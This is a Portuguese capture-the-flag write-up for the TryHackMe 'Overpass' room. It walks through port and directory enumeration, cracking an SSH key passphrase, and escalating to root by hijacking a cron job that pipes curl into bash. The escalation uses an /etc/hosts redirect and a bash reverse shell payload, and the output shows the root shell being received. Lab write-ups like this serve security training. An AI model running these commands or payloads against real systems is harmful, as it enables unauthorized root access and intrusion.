Try Hack Me - OverPass#

1.1. Varredura com Nmap#

Usei o Nmap com os scripts -sV (versão dos serviços) e -sC (scripts padrão) para uma enumeração inicial.

1
nmap -sV -sC 10.201.11.108

Resultado:

1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-06 11:27 -03
2
Nmap scan report for 10.201.11.108
3
Host is up (0.25s latency).
4
Not shown: 998 closed tcp ports (reset)
5
PORT   STATE SERVICE VERSION
6
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
7
| ssh-hostkey:
8
|   2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
9
|   256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
10
|_  256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
11
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
12
|_http-title: Overpass
13
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TIP

Pontos de Interesse Encontrados:

• Porta 22: SSH (OpenSSH 7.6p1)
• Porta 80: HTTP (Golang net/http server)

1.2. Enumeração de Diretórios Web#

Com um servidor web ativo na porta 80, o próximo passo foi procurar por diretórios e arquivos ocultos usando o GoBuster.

1
gobuster dir -u http://10.201.11.108/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt

Resultado:

1
===============================================================
2
Gobuster v3.8
3
===============================================================
4
[+] Url:                     http://10.201.11.108/
5
[+] Threads:                 10
6
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
7
[+] Extensions:              php,txt
8
===============================================================
9
/img              (Status: 301) [Size: 0] [--> img/]
10
/downloads        (Status: 301) [Size: 0] [--> downloads/]
11
/aboutus          (Status: 301) [Size: 0] [--> aboutus/]
12
/admin            (Status: 301) [Size: 42] [--> /admin/]
13
/css              (Status: 301) [Size: 0] [--> css/]
14
===============================================================

O diretório /admin/ foi o achado mais promissor para a próxima fase de investigação.

2.1. Quebrando a Senha da Chave SSH#

A chave estava protegida por uma senha (passphrase). Para quebrá-la, utilizei o John the Ripper.

1. Salvar a chave em um arquivo chamado id_rsa e ajustar suas permissões.

   1
   chmod 600 id_rsa
   

2. Extrair o hash da chave usando o script ssh2john.py.

   1
   python3 /usr/share/john/ssh2john.py id_rsa > id_rsa.hash
   

3. Quebrar o hash com o john e a wordlist rockyou.txt.

   1
   john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
   

   Resultado:

   1
   Using default input encoding: UTF-8
   2
   Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
   3
   ...
   4
   james13          (id_rsa)
   5
   ...
   6
   Session completed.
   

IMPORTANT

A senha da chave SSH foi descoberta: james13

2.2. Obtendo Acesso#

Com a chave privada (id_rsa) e a senha (james13), realizei o login via SSH.

1
ssh -i id_rsa james@10.201.11.108

Após inserir a senha james13, o acesso ao shell como usuário james foi concedido.

2.3. Capturando a Flag do Usuário#

Com o acesso inicial, procurei pela flag user.txt.

1
james@overpass-prod:~$ ls
2
todo.txt  user.txt
3
james@overpass-prod:~$ cat user.txt

IMPORTANT

user.txt: thm{...user_flag...}

3.1. Identificando o Vetor (Cron Job)#

A análise do lse.sh e a verificação manual do arquivo /etc/crontab revelaram uma tarefa agendada (cron job) vulnerável, executada a cada minuto como root.

1
james@overpass-prod:~$ cat /etc/crontab
2
...
3
# Update builds from latest code
4
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

A tarefa baixa e executa um script de overpass.thm. A estratégia é sequestrar essa requisição, fazendo com que o domínio overpass.thm aponte para a nossa máquina de ataque.

3.2. Exploração (Crontab Hijacking)#

1. Modificar o /etc/hosts na máquina alvo: Adicionei uma entrada para que overpass.thm resolvesse para o IP da minha máquina (10.9.1.139).

   1
   # Na máquina alvo (james@overpass-prod)
   2
   echo "10.9.1.139 overpass.thm" >> /etc/hosts
   

2. Preparar o payload na máquina do atacante: Criei a estrutura de diretórios esperada e um buildscript.sh com um payload de reverse shell.

   1
   echo "bash -i >& /dev/tcp/10.9.1.139/4444 0>&1" > buildscript.sh
   

3. Servir o payload e iniciar o listener: Iniciei um servidor web simples para hospedar o script e um listener com netcat para receber a conexão.

   1
   # Na máquina do atacante (no diretório ~/)
   2
   python3 -m http.server 80
   3
   
   4
   # Em outro terminal
   5
   nc -lvnp 4444
   

4. Receber o shell root: Quando o cron job executou (dentro de um minuto), ele baixou e executou nosso script malicioso, resultando em um shell reverso como root.

   1
   listening on [any] 4444 ...
   2
   connect to [10.9.1.139] from (UNKNOWN) [10.201.11.108] 58676
   3
   bash: cannot set terminal process group (20057): Inappropriate ioctl for device
   4
   bash: no job control in this shell
   5
   root@overpass-prod:~#
   

3.3. Capturando a Flag Root#

Agora como root, bastou ler a flag final.

1
root@overpass-prod:~# cat /root/root.txt

IMPORTANT

root.txt: thm{..root_flag...}